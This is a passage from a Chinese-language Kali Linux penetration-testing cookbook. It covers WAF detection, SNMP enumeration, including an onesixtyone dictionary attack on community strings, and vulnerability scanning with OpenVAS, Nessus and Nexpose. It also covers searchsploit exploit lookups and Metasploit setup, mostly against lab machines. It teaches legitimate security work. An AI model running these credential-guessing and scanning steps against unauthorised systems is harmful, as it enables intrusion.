  1. 在这里,我们将看到一个 WAF 保护网站的迹象:

wafw00f - www.example.com

  1. 现在,我们将使用以下命令检查另一个受到 WAF 保护的网站:
 wafw00f example.uk 
  1. 我们注意到触发了不同的指示:

wafw00f - example.uk

使用 SNMP 收集更多信息

我们可以使用通过 nmap 识别的具有开放 SNMP 端口或正在运行的服务的主机,尝试收集更多信息。

简单网络管理协议SNMP)是一种用于提供各种设备状态和配置的协议,包括服务器、工作站、网络设备、物联网设备和其他主机。该协议提供了只读和读写功能。很多设备默认情况下只提供只读访问。网络管理员通常会为管理目的启用读写访问权限。许多设备的 SNMP 默认密码是 public(只读访问)和 private(读写访问)。SNMP 有三种版本。虽然版本 1 已大多被淘汰,但版本 2 仍然非常常见,版本 3 由于其更好的安全性和身份验证系统,正在逐渐被广泛使用。我们将在本次测试中重点使用版本 2。

准备工作

让我们确保以下前提条件:

  • Kali Linux 正在运行,你以 root 身份登录

  • 验证互联网连接

  • 解析demo.snmplabs.com的 IP 地址(在写这本书时,它是104.236.166.95

如何操作...

  1. 点击左上角的终端图标,打开终端屏幕:

  1. 从主终端屏幕,你应该看到root@kali:~#的命令提示符。

  2. 使用 snmp-check 执行对目标设备的简单扫描。默认情况下,许多 SNMP 实现使用 public 和 private 作为默认的 SNMP 密码。如果我们知道密码或者可以猜测出来,我们可以将其替换为以下命令中的默认 public

snmp-check -v2c -c public 104.236.166.95
  1. 从输出中我们可以看到,关于主机显示了大量信息。有网络接口信息、路由信息、正在运行的服务和开放的 TCP/UDP 端口,以及各种系统信息:

snmp-check - 命令输出

  1. 如果我们不知道用于 SNMP 的凭证,可以尝试使用字典攻击来猜测凭证,利用 onesixtyone 工具:
 onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 104.236.166.95
  1. 你会注意到,命令输出显示主机的公共和私有部分都可以使用。我们使用了内置的字典文件,这个文件是 onesixtyone 提供的。需要注意的是,这个字典文件中只有少数几种潜在的密码:

onesixtyone - 命令输出

还有更多……

有多种字典文件提供了更完整的密码列表,这些列表能提高你发现目标主机适当密码的机会。查看 github.com/danielmiessler/SecLists/tree/master/Miscellaneous

第三章:漏洞分析

本章将涵盖以下主题:

  • OpenVAS 的安装与配置

  • 使用 OpenVAS 进行基础漏洞扫描

  • 使用 OpenVAS 进行高级漏洞扫描

  • Nessus 的安装与配置

  • 使用 Nessus 进行基础漏洞扫描

  • 使用 Nessus 进行高级漏洞扫描

  • Nexpose 的安装与配置

  • 使用 Nexpose 进行基础漏洞扫描

  • 使用 Nexpose 进行高级漏洞扫描

介绍

一旦访问网络并识别出网络中的系统,下一步是建立立足点和持久性访问。有多个工具可用于帮助识别和利用系统漏洞,但我们将在本章中仅聚焦于其中三个:

OpenVAS 的安装与配置

由于默认的 Kali Linux 镜像在初始安装时并不包含 OpenVAS,我们需要进行一次完整的新安装。这可以通过控制台或远程连接进行。

OpenVAS 是一个开源漏洞管理平台,它是基于知名的 Nessus 平台开发的分支,Nessus 在 Tenable Network Security 将其转为闭源之后(最初名为 GNessUs)。随着时间的推移,OpenVAS 框架成为了 Greenbone 网络的商业漏洞管理解决方案的一部分。Greenbone 继续为 OpenVAS 做出贡献,确保其始终保持最新且相关。

考虑到 OpenVAS 可以通过网页浏览器以及命令行访问,它是一个非常强大的工具,可以通过命令行或浏览器在本地使用,或者可以部署在中心位置并供网络中的其他设备使用。

准备工作

为了能够完成本节内容,您将需要以下内容:

  • 控制台访问 Kali Linux 系统

  • 访问互联网以下载和安装 OpenVAS 应用程序

如何操作...

我们将执行必要的步骤在 Kali 上安装 OpenVAS:

  1. 如果您尚未完全更新 Kali Linux 安装,建议现在进行更新。从 root shell 运行以下命令。如果有很多更新,这可能需要一些时间,请耐心等待。更新过程完成后,重启系统,登录,并再次打开 root shell:
apt-get update && apt-get dist-upgrade -y
  1. 从 root shell 使用 apt-get 下载并安装 OpenVAS:
apt-get install openvas
  1. 一旦安装完成,运行以下命令从根 shell 启动设置过程。由于需要的数据量较大,即使是在快速连接的情况下,这个过程也可能需要一些时间,所以请准备好耐心等待:
openvas-setup
  1. 在这个过程的最后,你将看到管理员密码显示出来。把它写下来,以便你能够登录到 OpenVAS 门户。

如果你忘记了这个密码,可以通过命令行使用以下命令重置:

openvasmd --user=admin --new-password=[your password here]

使用 OpenVAS 进行基本的漏洞扫描。

一旦安装完成,OpenVAS 提供了一个集中的平台,可以通过任何基于浏览器的系统或命令行进行使用。由于 OpenVAS 是一个安全分析工具,它将会检查该环境中的系统,识别服务和漏洞,因此请确保你已经准备好应对潜在的影响。即便是最小心、影响最小的扫描也可能会影响到服务。

准备工作。

为了完成这一部分,你需要完成以下步骤:

  • OpenVAS 已成功安装并配置在你的 Kali Linux 系统上。

  • 访问 Kali 系统,无论是从桌面还是浏览器。

  • 网络访问到在前面部分的实验室讨论中配置的系统。

  • 你需要确认你的实验室网络的 IP 地址,并能够对其上的主机进行 ping 测试。

如何操作...

我们将使用 OpenVAS 进行一次基本的漏洞扫描:

  1. 通过打开浏览器并导航到 https://[your Kali IP]:9392,连接到 Kali Linux 系统上的 OpenVAS 服务;接受证书安全警告,并为无效证书创建例外。

  2. 为了准备一个更永久的实现,创建一个唯一属于你的新用户。从仪表板中,导航到 Administration | Users。你将看到已配置用户的列表(在这种情况下,由于这是默认安装,应该只有 Admin)。在管理员用户的 Actions 下,点击 Clone。

  3. 克隆后,你将被带到新账户概览页面。点击左上角的编辑用户选项,编辑此用户的详细信息。你可以设置用户名以及权限。为新用户设置一个合适的名字,并将密码重置为你以后练习时能记住的内容。

在较大的环境中,如果有 LDAP 可用,你还可以将 OpenVAS 连接到这些仓库,以利用集中的账户管理。要启用此功能,请导航至 Administration | LDAP 并配置连接信息,以便连接到这些仓库。

  1. 连接到 OpenVAS 系统后,点击顶部菜单栏中的 Scans | Tasks 链接。页面加载后,你应该会立即看到初始扫描向导。这个向导将帮助你启动第一次扫描,我们将针对我们的第一个 Windows 7 主机进行扫描。

  2. 在任务向导窗口打开后,输入实验室网络的 IP 地址。在这个例子中,添加 192.168.56.0/24 到文本框中,并点击开始扫描来启动扫描:

任务向导启动扫描

  1. 扫描启动后,您将看到任务列表,其中之一就是我们刚刚创建的扫描任务:

正在运行的任务列表

  1. 在扫描运行时,您应该熟悉可用的操作图标,因为它们可以用来存档任务配置以便移动到其他系统、克隆以创建副本等。

  2. 一旦扫描完成,您应该看到仪表盘视图发生变化,类似如下所示:

初始扫描后的任务仪表盘

  1. 单击扫描日期查看扫描结果:

扫描结果报告

  1. 初步报告中有一些需要注意的重要事项。首先,您会看到 OpenVAS 只显示了已识别的 15 个漏洞中的 3 个。虽然这看起来不太寻常,但理解 OpenVAS 如何通过默认过滤器显示结果是必要的。名为检测质量QoD)的字段表示该特定扫描结果的可信度。为了演示这一点,单击具有最高 QoD 的漏洞:

漏洞详细信息

  1. 如您所见,此检查的 QoD(检测质量)为 95%,这意味着确定主机暴露于该漏洞的能力相当高。在查看检查的详细信息时,您还可以看到这是一个潜在的严重漏洞——该漏洞需要供应商提供的修复补丁,受影响的平台分布非常广泛,成功利用该漏洞会导致远程代码执行RCE)。这些因素的结合使得该漏洞的严重性被计算为 9.3(满分 10,属于高危)。

这种特定的漏洞被 WannaCry 勒索病毒攻击利用,该攻击发生在 2017 年 5 月。其他值得关注的领域包括漏洞是如何被发现的,以及获取更多详细信息所需的信息,包括特定供应商的补丁信息以及 CVE/BID/CERT 信息。

  1. 使用此报告中的信息将有助于确定系统面临已知漏洞和不安全配置的风险水平。如果您想要更多详细信息,例如识别的漏洞低于默认的 70% QoD,您可以自定义报告屏幕上方的过滤器:

自定义过滤视图

  1. 在操作栏的最右侧,你可以看到一些非常有用的选项。添加备注允许你在报告中添加附加说明,以提供背景信息、记录其他或相关发现等。添加覆盖选项允许你覆盖某个特定发现,并提供在哪些主机、覆盖的持续时间以及新的严重性等字段(覆盖常用于指定假阳性严重性):

每个报告包含已记录的漏洞,这些漏洞可以与其他工具(如 Metasploit)结合使用,从而成功访问目标系统。这些信息必须小心处理。确保 OpenVAS 的安装是安全的,且服务在未使用时不会继续运行。

使用 OpenVAS 进行高级漏洞扫描

通过未授权的网络扫描进行漏洞识别是开始收集网络情报的好方法,但其强大之处在于能够进行更频繁、更多目标的扫描,这可能包括能够成功认证目标系统的凭证,以便进行更深入的评估。

使 OpenVAS 更强大的功能包括高度可配置的扫描配置、计划任务、自动报告和警报。

除了 OpenVAS 仪表板中默认的扫描配置外,它还包含一些非常灵活的选项,包括计划扫描和自定义扫描类型。我们将查看自定义扫描配置。

准备开始

为了完成这一部分,你需要以下内容:

  • OpenVAS 在你的 Kali Linux 系统上已成功安装并配置

  • 通过桌面或浏览器访问 Kali 系统

  • 对在早期章节中作为实验讨论一部分配置的系统的网络访问权限。

  • 你需要确认桌面target1.kalicookbook.local的 IP 地址

  • 从 Kali Linux 系统成功 ping 通target1.kalicookbook.local

如何操作...

让我们开始使用 OpenVAS 进行高级扫描技巧:

  1. 为了准备配置更深入的扫描,我们将首先添加我们可能已知的凭证。当凭证已知时,我们将能够进行更深层次的评估。导航到配置 | 凭证。在左上方,点击“新凭证”图标以弹出新凭证对话框。按照以下方式配置,使用你实验域中的域用户:

新凭证对话框当发现新帐户时,应将其添加到此部分,不仅用于身份验证,还用于识别所有使用该帐户的地方——密码重用非常常见。

  1. 下一部分我们将配置的是目标选择。导航至配置 | 目标。在此页面上,您将看到一些现有的目标集,包括在快速入门向导中使用的自动生成的目标集。点击新建目标图标以创建新的目标。使用以下配置:

配置新目标

  1. 现在目标环境和已知凭据已配置完成,我们将查看实际的扫描配置。导航至配置 | 扫描配置。以下扫描是全新安装的典型配置:

扫描配置列表

  1. 你会注意到,扫描可能具有相同数量的 NVTs,但停止服务的可能性高低不同。此外,扫描还可以引用并利用先前运行的数据。为了更好地理解,找到完整扫描和快速扫描的配置,并点击操作栏下的克隆按钮。当新配置显示出来时,点击编辑图标,并为扫描命名一个更有意义的名称。审查设置,以更好地理解扫描的配置方式:

扫描配置快速扫描和完整扫描是我们在上一节中使用的扫描配置。尽管扫描运行速度很快,但它包含了大量的 NVTs,展示了 OpenVAS 的速度。

  1. 现在我们将把这三个组件——目标、凭据和扫描配置结合起来,创建一个任务。导航至扫描 | 任务,然后点击新建任务图标。打开后,输入以下信息:
    • 名称:漏洞扫描

    • 扫描目标:内部网络

    • 点击计划行末的星标,创建新的计划

    • 扫描配置:Kali 烹饪手册

    • 保持所有其他选项为默认设置,然后点击保存

  1. 从此时起,将每周进行一次深度漏洞扫描,并生成报告以供审阅。可以根据需要配置多个定期扫描,并在完成后发送电子邮件通知。

Nessus 的安装和配置

Nessus 是业界最广泛使用的渗透测试平台之一。直到最近的版本,它一直是 Kali 的预安装工具。它是由 Tenable 公司作为商业产品出售的,但我们将使用家庭版,这将允许我们在有限数量的 IP 上进行扫描,并获得充分使用该工具的知识。

准备工作

让我们确保以下前提条件:

  • Kali Linux 正在运行,且你已以 root 身份登录

  • 验证互联网连接

  • 确保你最近已完成 Kali 的更新和升级

如何操作...

我们将进行 Nessus 的设置和初始配置:

  1. 我们首先需要通过访问以下网站进行注册 www.tenable.com/products/nessus-home 并注册获取激活码:

Tenable 注册网站

  1. 注册完成后,你将看到一个下载链接——点击它:

Tenable nessus 下载界面

  1. 选择适合你 Kali 发行版的 Linux 下载版本,在我们这个例子中,我们将下载 64 位版本:

Tenable Nessus 操作系统选择界面

  1. 在订阅协议页面,勾选接受服务条款框并点击下载。然后点击保存文件:

Nessus 文件下载界面

  1. 打开终端窗口并输入以下命令:
cd ~/Downloads <enter>
dpkg -i Nessus-6.11.1-debian6_amd64.deb <enter>
service nessusd start <enter>
  1. 点击 Firefox 图标启动你的浏览器:

  2. 打开以下页面: https://localhost:8834。你会看到一个提示连接不安全的界面。点击高级,选择添加例外,然后点击确认安全例外:

Firefox - 证书警告界面

  1. 在欢迎使用 Nessus 界面上,点击继续。

  2. 系统会要求你创建一个本地帐户。为了方便起见,我们将使用管理员用户名,选择并设置一个好的密码,然后点击继续:

Nessus - 帐户设置界面

  1. 检查你的电子邮件并输入激活码,然后点击继续:

Nessus - 注册界面

  1. 你将看到一个 Nessus 欢迎界面,它将开始下载并初始化其他设置功能。

该过程需要几分钟时间,请耐心等待。等待初始化过程完成时,你可以先为 Nessus 创建一个书签。

  1. 现在你将被带到主登录界面;输入之前创建的用户名和密码,然后点击登录。

  2. 让我们验证 Nessus 是否是最新版本——在主屏幕上,点击齿轮图标并选择它。

  3. 从扫描器菜单中选择软件更新,然后点击手动软件更新。

  4. 在手动软件更新界面,选择更新所有组件并点击继续:

Nessus - 手动软件更新界面。请等待几分钟,因为更新完成后,界面可能会重启,并且你可能会回到登录界面。

  1. 确保启用了自动更新,指定更新频率,然后点击保存:

Nessus - 自动更新屏幕为了节省资源,在不使用 Nessus 时,你可以通过关闭浏览器并选择“应用程序 | 漏洞分析 | Nessus 停止”来停止服务。

使用 Nessus 进行基本漏洞扫描

我们将对我们的网络进行一些基本的漏洞扫描,以查看它们是否有任何已知问题或弱点。

准备就绪

让我们确保以下前提条件:

  • Kali Linux 正在运行,并且你已以 root 身份登录

  • 启动 Metasploitable 虚拟机

  • 确保你已完成 Nessus 的设置,Nessus 已经启动,并且你在登录后的主屏幕上。

如何操作...

现在,我们将使用 Nessus 进行漏洞扫描:

  1. 虽然我们已经有了之前练习中的目标,但我们将先执行一次基本的主机发现。选择“新建扫描”:

  1. 从扫描模板屏幕中,选择“主机发现”。

  2. 在“名称”字段中,添加一个描述性的名称并指定你的目标。在此案例中,我们将指定我们的测试网络192.168.56.0/24,并选择“保存”:

Nessus - 主机发现屏幕

  1. 从“我的扫描”屏幕中,选择新创建的扫描任务,并按右侧的启动按钮。扫描过程将持续几分钟。在运行过程中,你将看到一个绿色的圆形图标。

在此扫描运行期间,你可以创建其他扫描并启动它们。所以,你不必等扫描完成后再进行其他操作。

  1. 扫描完成后,你将在扫描屏幕上看到一个对勾,点击它以查看结果。从我们的结果来看,你将看到有多个主机正在响应:

Nessus - 主机发现结果

  1. 为了对我们的 Metasploitable 虚拟机192.168.56.101进行基本扫描,我们将从顶部菜单中选择“扫描” -> “新建扫描”,然后选择“基本网络扫描”。

  2. 在“名称”字段中,添加一个描述性的名称;对于目标,使用你的 Metasploitable 机器的 IP 地址。点击“保存”,然后启动扫描:

Nessus - 基本网络扫描

  1. 这个扫描将需要几分钟时间完成,但完成后,我们可以选择扫描结果进行查看。你会注意到我们已经发现了几个漏洞:

Nessus - 基本网络扫描结果

  1. 若要更详细查看,选择顶部的“漏洞”选项。此处,你将看到按严重性排序的漏洞的详细视图。滚动浏览列表,查看所有呈现的数据:

Nessus - 基本扫描结果 - 漏洞列表

  1. 点击 VNC 服务器漏洞,获取更多关于该漏洞的具体信息。这将为我们提供大量可以稍后用来获取远程访问主机的资料:

Nessus - VNC 漏洞详情花些时间浏览几个漏洞,探索提供的信息。此外,尝试对其他有授权的设备进行扫描。这些设备可以是你个人网络中的设备,也可以是你安装的其他测试主机。

使用 Nessus 进行高级漏洞扫描

现在,我们将创建一个更深入的扫描,修改一些扫描参数,以便使用 Nessus 进行其他更具针对性的测试。我们希望看到的是目标主机更好且更完整的扫描结果。这将为你提供基础理解,帮助你自定义扫描。

准备开始

确保以下先决条件:

  • Kali Linux 正在运行,并且你已经以 root 身份登录

  • 启动 Metasploitable 虚拟机

  • 确保你已完成 Nessus 的设置,Nessus 已经启动,并且你在登录后已进入主屏幕。

如何操作...

让我们开始使用 Nessus 的高级扫描技术:

  1. 为了使用 Nessus 进行更高级的扫描,我们将探索几个可用的选项。选择顶部的扫描。选择新建扫描 | 高级扫描。在我们的通用屏幕上,添加描述性名称,并将目标设为你的 Metasploitable 虚拟机的 IP 地址。

  2. 花一分钟浏览左侧的基本选项。我们可以执行定期扫描。扫描完成后,我们还可以提供通知。

  3. 选择发现 | 主机发现;浏览可用的选项。你会注意到我们可以开启多种发现方法,包括扫描网络打印机。

由于我们已经知道要扫描的具体主机,因此无需在主机发现下选择其他选项。不过,如果你进行子网扫描,这些选项将非常有用。

  1. 选择发现 | 端口扫描,并根据以下截图修改以下选项:

Nessus - 高级设置

  1. 选择评估 | 一般。勾选执行彻底测试。

  2. 选择评估 | 暴力破解。勾选 Oracle 数据库测试和 Hydra。

你可以添加登录和密码文件,针对可能的或常见的用户名和密码进行扫描。

  1. 选择评估 | Web 应用程序。勾选跟随动态生成的页面。

  2. 在应用程序测试设置下,匹配以下选项:

Nessus - 高级设置

  1. 在底部选择保存并启动扫描。此扫描将需要很长时间才能完成(大约 2 小时)。然而,一旦完成,让我们查看以下结果。我们会看到我们已经发现了关于目标主机的增量信息和漏洞:

Nessus - 扫描结果界面

  1. 点击结果,你将看到我们显著增加了高级漏洞的数量。这些信息在后续利用目标时非常有用。

记得保存并记录所有信息,以便在后续操作中使用。

Nexpose 的安装和配置

Nexpose 是 Rapid7 的一款商业产品。最近,似乎它被重命名为 InsightVM;并且曾尝试取消 Nexpose 的社区版。然而,Rapid7 已重新考虑并再次提供社区版,许可证有效期为一年。

我们将在此安装 Nexpose 的社区版。

准备就绪

让我们确保满足以下前提条件:

  • 首先对你的虚拟机进行快照

  • Kali Linux 正在运行,你已以 root 用户登录

  • 断开主机专用网络,仅使用 NAT 网络

Nexpose 的安装和操作可能会让人困惑,因为有多个界面和多个连接。对于这一点,以及所有涉及 Nexpose 的配方,我们将在 NAT 网络上进行操作。在完成涉及 Nexpose 的所有步骤后,你可能想恢复到安装前的快照。

如何操作...

现在我们将在 Kali 机器上安装并配置 Nexpose:

  1. 首先,我们必须在 Rapid7 网站上注册,获取许可证密钥并下载代码。点击图标打开 Firefox。

  2. 访问以下网站,www.rapid7.com/info/nexpose-community/,并填写注册信息。几分钟后,你将收到一封包含许可证密钥的邮件,同时可以下载相应的软件。将文件保存在 Downloads 目录中:

Nexpose 注册网站

  1. 现在,让我们通过打开终端窗口并输入以下命令来准备安装 Nexpose:
cd <enter>
cd Downloads <enter>
chmod 770 Rapid7Setup-Linux64.bin <enter>
./Rapid7Setup-linux64.bin <enter>
  1. 一旦出现欢迎界面,点击“Next”:

Nexpose 安装界面

  1. 选择标记为“Security Console with local Scan Engine”的单选按钮。接受默认的目标目录设置,然后点击“Next”。如果出现与磁盘空间不足相关的错误,只需点击“Continue”。

  2. 在系统设置界面,点击“Next”:

Nexpose 安装界面 - 设置比较

  1. 在账户详情页面输入你的信息,然后点击“Next”:

Nexpose 安装界面 - 用户信息

  1. 在下一个屏幕上,选择 Initialize and start after installation(安装后初始化并启动),然后点击 Next(下一步)。它将进行安装过程,完成后,您将看到以下屏幕:

Nexpose 安装程序屏幕 - 完成

  1. 点击 Finish(完成)以关闭它。

正如所述,初始化和启动可能需要几分钟。我的建议是让它静置 30 分钟,然后重启虚拟机。虚拟机重新启动后,登录并等几分钟再尝试访问网站。

  1. 通过点击图标打开 Firefox,,然后在地址栏中输入以下地址:https://localhost:3780。如果弹出安全屏幕,请点击 Advanced(高级),然后选择 Add Exception(添加例外):

Firefox 安全屏幕

  1. 点击 Confirm Security Exception(确认安全例外):

Firefox 安全例外屏幕

  1. 一旦 Nexpose 安装完成,您将进入登录屏幕。使用您提供的凭据登录:

Nexpose 登录屏幕

  1. 几乎立刻,您将看到要求您输入产品密钥的屏幕。请找回包含该密钥的电子邮件。输入密钥并点击 ACTIVATE WITH KEY(使用密钥激活):

Nexpose 输入产品密钥屏幕

  1. 一旦激活成功,您将收到一个确认屏幕:

Nexpose 激活成功屏幕

  1. 现在,让我们点击 intro screen(介绍屏幕),然后选择 Dismiss(忽略):

欢迎来到 Nexpose 屏幕

  1. 更新将在启动后自动安装。

我们建议直接进入下一个食谱,使用 Nexpose 进行基本漏洞扫描

使用 Nexpose 进行基本漏洞扫描

现在我们将使用 Nexpose 扫描我们的 NAT 网络,以获取关于易受攻击的设备和服务的信息。Nexpose 的社区版限制最多支持 32 个 IP 地址,但其他功能完全可用。

正在准备中

让我们确保以下先决条件:

  • Kali Linux 正在运行,您已以 root 用户登录

  • 断开主机专用网络,并在所有虚拟机上使用 NAT 网络

  • 启动 Metasploitable 和您的 Windows XP 机器,并连接到 NAT 网络

Nexpose 的安装和操作可能会因多个界面和多个连接而令人困惑。对于这一步骤以及所有涉及 Nexpose 的操作,我们将都在 NAT 网络上进行。在完成所有涉及 Nexpose 的操作后,您可能需要恢复到安装前的快照。

如何操作……

使用 Nexpose,我们现在将执行一次基本的漏洞扫描:

  1. 通过点击图标 打开 Firefox,浏览至 https://localhost:3780

  2. 使用之前的凭据登录。

  3. 点击左侧的 Assets 按钮,然后点击 CREATE SITE。

  4. 为你的网站命名,随意;在我的案例中,它是 Lab

Nexpose 网站创建

  1. 接下来,点击顶部的 ASSETS;将你的机器 IP 地址添加到网络中;在我的案例中,Metasploitable 虚拟机的 IP 地址是 10.0.2.5,Windows XP 虚拟机的 IP 地址是 10.0.2.6

Nexpose 资产界面

  1. 现在,点击 TEMPLATES,你将看到可以使用的各种扫描模板。我们将使用默认模板,即没有 Web Spider 的完整审计。花一分钟浏览可用的扫描模板:

Nexpose 模板界面

  1. 现在,从右上角选择 SAVE & SCAN,当系统询问验证时,随意勾选“不要再显示此警告”,然后点击 SAVE & SCAN 按钮:

Nexpose 网站保存和扫描确认界面

  1. 你可以监控扫描进度,并在扫描状态中查看是否显示 “成功完成”:

Nexpose 扫描状态界面

  1. 如果继续向下滚动,你将看到已识别的主机、IP 地址、操作系统,最重要的是漏洞的数量:

Nexpose 设备列表

  1. 让我们点击 Metasploitable 机器,查看已收集到的信息。你将注意到各种信息,以及风险评分:

Nexpose 主机详细信息

  1. 继续向下滚动,你将看到漏洞、服务、已安装的软件、指纹和用户的列表:

Nexpose 主机漏洞信息

  1. 点击其中一个漏洞以获取更多信息:

Nexpose 主机漏洞详细信息

  1. 向下滚动列表,你将看到有关修复步骤的信息,这些步骤能为你提供关于如何利用漏洞的关键资料。

  2. 继续探索界面,完成后点击左侧的主页按钮返回主页。

我们建议直接进入下一个步骤,使用 Nexpose 进行高级漏洞扫描。

使用 Nexpose 进行高级漏洞扫描

现在,我们将使用 Nexpose 对我们的 NAT 网络执行更高级、深入的扫描。我们将以更加激进的方式使用 Nexpose 对目标机器进行扫描。

准备工作

让我们确保以下前提条件:

  • Kali Linux 正在运行,且你已以 root 用户登录

  • 断开主机仅网络,所有虚拟机都使用 NAT 网络

  • 启动 Metasploitable 和你的 Windows XP 机器,并连接 NAT 网络

Nexpose 的安装和操作可能会让人困惑,因为它涉及多个接口和多个连接。对于涉及 Nexpose 的所有食谱,我们将使用 NAT 网络。在完成涉及 Nexpose 的所有食谱后,您可能想要恢复到安装前的快照。

如何操作...

让我们开始使用 Nexpose 进行高级扫描技术:

  1. 通过点击图标打开 Firefox ,然后浏览到https://localhost:3780

  2. 使用你之前使用的凭据进行登录。

  3. 向下滚动到SITES部分,点击实验室站点。

  4. 点击顶部的TEMPLATES,然后向下滚动选择渗透测试的单选按钮。接着,点击顶部的SAVE & SCAN

Nexpose 网站模板屏幕

  1. 扫描完成后,你会注意到我们发现的漏洞数量比原始扫描结果更多。在继续之前,我们将向我们的网站添加一些附加信息,并再次进行扫描。

  2. 点击左侧的主页按钮返回到主屏幕。

  3. 向下滚动到SITES部分,点击实验室站点。

  4. 现在,点击顶部的AUTHENTICATION。在左侧,选择ADD CREDENTIALS并输入msfadmin作为名称;然后点击CREATE

Nexpose 添加凭据屏幕

  1. 现在,在左侧选择ACCOUNT并添加以下信息:
    • 服务:安全外壳(SSH)

    • 凭据管理:Nexpose

    • 用户名:msfadmin

    • 密码:msfadmin

    • 确认密码:msfadmin

    • 提升权限类型:sudo

    • 提升权限用户:`msfadmin`

    • 提升权限密码:msfadmin

    • 确认提升权限密码:msfadmin

Nexpose 账户信息

  1. 现在,选择CREATE

  2. 点击顶部的TEMPLATES,选择Exhaustive,然后选择SAVE & SCAN

Nexpose 模板屏幕此扫描可能需要一些时间,请耐心等待。

  1. 扫描完成后,向下滚动到COMPLETED ASSETS部分,点击 Metasploitable 机器。

  2. 现在你可以向下滚动到VULNERABILITIES部分,查看更大的漏洞列表。花一些时间浏览界面并查看发现的漏洞:

Nexpose 主机漏洞信息

第四章:在目标中查找漏洞

本章我们将涵盖以下主题:

  • 正在搜索本地漏洞数据库

  • 搜索在线漏洞数据库

  • Metasploit 设置和配置

  • Armitage 设置

  • 使用 Armitage 进行基本的漏洞攻击

  • 使用 Armitage 进行高级攻击

  • 使用后门工厂和 Armitage

介绍

在本章中,我们将使用我们收集的主机信息来确定可能的漏洞,进而对目标机器和服务进行攻击。需要注意的是,在您完成此部分内容时,您将对主机发起攻击。这些攻击将会在网络上产生噪音,可能会被安全设备捕捉到。在典型情况下,您将花费大量时间验证目标是否确实易受某个漏洞攻击,然后再发起攻击,以避免产生任何不必要的信息,这些信息可能会被用于确定对设备的主动攻击。

搜索本地漏洞数据库

searchsploit 数据库是一个本地漏洞数据库,它是 Kali 标准配置的一部分。这是离线搜索漏洞的一个很好的方式,尤其是在没有互联网连接时。由于其离线搜索能力,它非常适合在受限网络环境中使用。

准备工作

让我们确保以下前提条件:

  • Kali Linux 正在运行,并且您已以 root 用户身份登录

  • 验证互联网连接

如何操作...

现在我们将搜索本地漏洞数据库:

  1. 点击左上角的终端图标,打开终端屏幕。

  2. 从主终端屏幕,您应该处于 root@kali:~# 命令提示符下。

  3. 通过输入以下命令,查看 searchsploit 选项:

searchsploit

更新 searchsploit

我们必须首先确保我们的 searchsploit 数据库已更新:

  1. 从主终端提示符处,输入以下命令以更新 searchsploit 数据库:
searchsploit -u

定期使用 APT 包管理器更新 Kali 也会自动更新数据库。

  1. 安装运行 searchsploit 部分功能所需的额外模块:
apt install -y libxml2-utils

执行一个简单查询

我们将对 searchsploit 数据库运行一个简单查询:

  1. 从主终端提示符处,运行一个简单的查询,查找已知的 SMB 漏洞 MS17-010。您可能会认出这是与 WannaCry 以及其他各种恶意软件蠕虫相关的漏洞:
searchsploit MS17-010
  1. 您将收到以下输出:

Searchsploit 控制台输出

  1. 让我们来看看与某个查询结果相关的一些具体内容:
nano /usr/share/exploitdb/platforms/windows/dos/41891.rb
  1. 以下输出将显示您正在查看一个 Metasploit 模块。这个模块专门设计用于搜索设备,以查看它们是否容易受到此漏洞的攻击。

我们稍后会讨论 Metasploit,但需要注意的是,如果某个漏洞没有包含在默认的 Metasploit 数据库中,我们可以导入它以供使用。 特定漏洞的 Nano 输出

  1. 要退出 nano 编辑器,输入 <control>-x;如果系统询问是否保存修改的缓冲区,输入 n

浏览其他结果,你会注意到 41987.py 是一个用 Python 编写的针对该漏洞的利用代码。

理解 searchsploit 中的搜索选项

你可以使用 searchsploit 搜索多个参数;试试以下示例。

  1. 以下命令将仅搜索利用数据库中的windowsremote标题,从而帮助你找到潜在的远程 Windows 漏洞:
searchsploit -t windows remote
  1. 如果你将 nmap 或 zenmap 的结果导出为 XML 格式,可以针对该文件进行漏洞搜索。运行一次 nmap 并将其结果输出到 /root/test.xml。以下命令用于搜索该输出文件,并将为你提供与 nmap 搜索相关的漏洞列表:
searchsploit --nmap /root/test.xml

搜索在线漏洞数据库

我们将使用 Firefox 来查看在线漏洞数据库 www.exploit-db.com

exploit-db.com 网站将包含 searchsploit 数据库中的所有信息,但有些人可能会觉得网页 GUI 界面更容易使用和浏览。由于 searchsploit 数据库是每周更新一次,网站上可能还会有一些稍微更新的信息。网站的 CAPTCHA 功能是使用该网站的一个显著缺点。

准备工作

确保以下前提条件:

  • Kali Linux 正在运行并且你已以 root 身份登录

  • 验证互联网连接

如何操作...

我们现在将通过在线漏洞数据库进行搜索:

  1. 从主界面启动 Firefox 应用程序。

  2. 访问名为 www.exploit-db.com/search 的网站。

  3. 在搜索框中输入 windows remote,点击 reCAPTCHA,然后选择搜索:

Firefox 截图,展示 exploit-db.com 网站

  1. 你将看到如下截图所示的输出。你会发现你有很多可点击的选项,可以用来浏览数据库。你可以利用这些选项获取更多信息并优化你的搜索:

Firefox 截图,展示 exploit-db.com 网站漏洞列表。点击橙色的更多选项按钮,查看额外的搜索查询选项,并尝试进行几次搜索。

Metasploit 的设置与配置

现在,Metasploit 框架作为 Kali 安装的一部分,因此设置和初始配置过程相对简单。

Metasploit 框架是一个开源开发工具,用于针对机器创建和执行漏洞代码。在 Kali 的后续版本中,它已成为核心工具包的一部分,因此启动时几乎不需要任何设置。在本教程中,我们将带你完成这些简单的步骤,帮助你快速上手。

请注意,Metasploit 框架和 Armitage 使用相同的后端数据库,因此如果你已经初始化了数据库,可以跳过到“启动Metasploit 框架初始化和启动”部分。

准备工作

让我们确保以下前提条件:

  • Kali Linux 正在运行,并且你已以 root 身份登录

  • 确保你最近已运行更新

  • 验证互联网连接

如何操作...

准备使用 Metasploit 控制台的过程有几个步骤,我们将在这一部分进行讲解。

Metasploit 框架初始化和启动

  1. 首先,点击左侧的终端图标打开一个终端窗口。

  2. Metasploit 使用数据库来存储目标、漏洞和其他信息。我们需要首先启动数据库守护进程。从命令提示符输入以下命令:

service postgresql start
  1. 接下来,我们将初始化数据库(这只需要在第一次启动时完成一次):
 msfdb init

如果你需要重新初始化数据库从头开始,可以使用msfdb reinit命令。请注意,所有现有的数据将会丢失。

  1. 现在,我们可以启动 Metasploit 控制台:
msfconsole
  1. 现在,你将进入 MSF 的主界面。注意,你的命令提示符已经变成了msf >,表示你现在已进入控制台:

msfconsole 屏幕你的屏幕可能与之前的截图有所不同。当 Metasploit 框架启动时,它会选择一个不同的文本图像(横幅)开始。你可以通过在msf >提示符下输入banner来查看不同的横幅。

  1. 让我们验证数据库是否已连接并正常运行。从msf >提示符输入以下命令,如果一切正常,你应该看到[*] postgresql 已连接到 msf:
db_status

启动 Metasploit 控制台

